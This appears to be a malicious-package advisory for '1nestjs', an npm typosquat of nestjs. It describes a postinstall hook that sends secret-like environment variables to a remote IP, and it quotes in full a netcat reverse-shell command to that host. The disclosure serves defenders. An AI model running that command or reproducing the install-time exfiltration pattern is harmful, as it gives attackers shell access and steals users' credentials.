MAL-2026-15909

    Dashboard / Malicious Package / MAL-2026-15909

    MAL-2026-15909

    Published: 3 Sept 2026Last Modified: 4 Sept 2026

    Summary: Malicious code in 1nestjs (npm)

    Details: Source: amazon-inspector (71ec2f3aadbe93023b18621b07d44da99f2d1a232a2905add322260456c9ef43) Package name typosquats `nestjs` and declares `postinstall: node index.js` in package.json, so index.js runs automatically during `npm install`. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes `nc -e /bin/sh 84.32.22.44 9999`, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot"). Source: ossf-package-analysis (bb3da821e3a6871a3e9c27009b213a63c1168355f30084686142c1253603eb71) The OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

    References: https://www.npmjs.com/package/1nestjs/v/0.0.1

    Affected packages

    Package

    Name: 1nestjs

    Purl: pkg:npm/1nestjs

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    0.0.1